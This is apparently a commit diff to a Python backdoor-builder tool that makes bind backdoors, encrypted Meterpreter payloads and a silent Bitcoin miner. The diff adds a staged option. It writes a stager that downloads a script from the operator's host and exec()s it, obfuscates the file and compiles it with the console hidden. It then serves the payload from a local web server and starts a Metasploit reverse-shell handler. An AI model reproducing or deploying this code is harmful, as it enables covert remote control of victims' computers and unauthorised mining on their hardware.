|
12 | 12 | from ripgrok import get_tunnels
|
13 | 13 | import random
|
14 | 14 | from pickle import GLOBAL
|
| 15 | +import subprocess |
| 16 | + |
| 17 | + |
15 | 18 |
|
16 | 19 | bind = 0
|
17 | 20 | ## RandomVariables
|
@@ -150,6 +153,8 @@ def logo():
|
150 | 153 | print(random.choice(logolist))
|
151 | 154 |
|
152 | 155 |
|
| 156 | +def move_file_to_directory(file_path, destination_directory): |
| 157 | + shutil.move(file_path, destination_directory) |
153 | 158 | clear = lambda: os.system("clear")
|
154 | 159 | clear()
|
155 | 160 | logo()
|
@@ -552,6 +557,12 @@ def postgen():
|
552 | 557 | print(logo)
|
553 | 558 | print('Backdoor saved under "dist" folder')
|
554 | 559 |
|
| 560 | +def start_web_server(webroot): |
| 561 | + command = ["python3", "-m", "http.server", "--directory", webroot] |
| 562 | + |
| 563 | + # Start the web server as a background process |
| 564 | + subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) |
| 565 | + |
555 | 566 |
|
556 | 567 | def rep_syst():
|
557 | 568 | hide = input(
|
@@ -713,16 +724,39 @@ def cleanup():
|
713 | 724 | except FileNotFoundError:
|
714 | 725 | pass
|
715 | 726 |
|
716 |
| - |
| 727 | +def webdelivery(): |
| 728 | + with open ("backdoor.py","a+") as outs: |
| 729 | + specf="destin='http://"+host+":8000/ocr_or.py'" |
| 730 | + websc= """ |
| 731 | +import requests |
| 732 | +import subprocess |
| 733 | +import time |
| 734 | +import random |
| 735 | +def download_and_run_script(url): |
| 736 | + response = requests.get(url) |
| 737 | + script_content = response.text |
| 738 | + exec(script_content) |
| 739 | +
|
| 740 | +script_url = destin |
| 741 | +download_and_run_script(script_url) |
| 742 | + """ |
| 743 | + outs.write(specf) |
| 744 | + outs.write(websc) |
| 745 | + import obfuscator |
| 746 | + obfuscator.MainMenu("backdoor.py") |
| 747 | + os.system("python3 -m nuitka --standalone --include-module=sandboxed --disable-console --onefile --assume-yes-for-downloads backdoor_or.py") |
717 | 748 | print(
|
718 | 749 | """
|
719 | 750 |
|
720 | 751 | 1. Create Bind Backdoor (opens a port on the victim machine and waits for you to connect)
|
721 | 752 | 2. Create Encrypted TCP Meterpreter (can embed in other script) (recommended)
|
722 |
| - 3. Create Obfuscated file with custom code |
| 753 | + 3. Crypt custom code |
723 | 754 | ##########################################################################################
|
724 | 755 | Miners
|
725 | 756 | 4. Create a silent BTC miner
|
| 757 | + ########################################################################################## |
| 758 | + Staged Payloads |
| 759 | + 5. Create Encrypted Meterpreter (staged) |
726 | 760 |
|
727 | 761 | """
|
728 | 762 | )
|
@@ -821,5 +855,45 @@ def cleanup():
|
821 | 855 | print('Miner saved under "dist" folder')
|
822 | 856 | print("You can monitor your `miners` here : https://solo.ckpool.org/")
|
823 | 857 | cleanup()
|
| 858 | +if nscan == "5": |
| 859 | + clear() |
| 860 | + logo() |
| 861 | + print( |
| 862 | + "##########################################################################################" |
| 863 | + ) |
| 864 | + print("Generating") |
| 865 | + gen_rev_ssl_tcp() |
| 866 | + clear() |
| 867 | + logo() |
| 868 | + print( |
| 869 | + "##########################################################################################" |
| 870 | + ) |
| 871 | + |
| 872 | + |
| 873 | + b = "".join( |
| 874 | + secrets.choice(string.ascii_uppercase + string.ascii_lowercase) |
| 875 | + for i in range(13) |
| 876 | + ) |
| 877 | + |
| 878 | + encrypted = True |
| 879 | + import obfuscator |
| 880 | + |
| 881 | + obfuscator.MainMenu(name) |
| 882 | + file_path = "ocr_or.py" |
| 883 | + destination_directory = "webroot" |
| 884 | + move_file_to_directory(file_path, destination_directory) |
| 885 | + webdelivery() |
| 886 | + webroot = "webroot" |
| 887 | + start_web_server(webroot) |
| 888 | + print("web server started in the beackground on port 8000. the backdoor is saved as backdoor_or.py and if you have compiled it it will be in the nuitka folder") |
| 889 | + print("wait...") |
| 890 | + a = ( |
| 891 | + "msfconsole -q -x 'use multi/handler;set payload python/meterpreter/reverse_tcp_ssl;set LHOST 0.0.0.0; set LPORT " |
| 892 | + + port |
| 893 | + + "; exploit'" |
| 894 | + ) |
| 895 | + os.system(a) |
| 896 | + |
| 897 | + |
824 | 898 | else:
|
825 | 899 | print("Please select a vaild option")
|
0 commit comments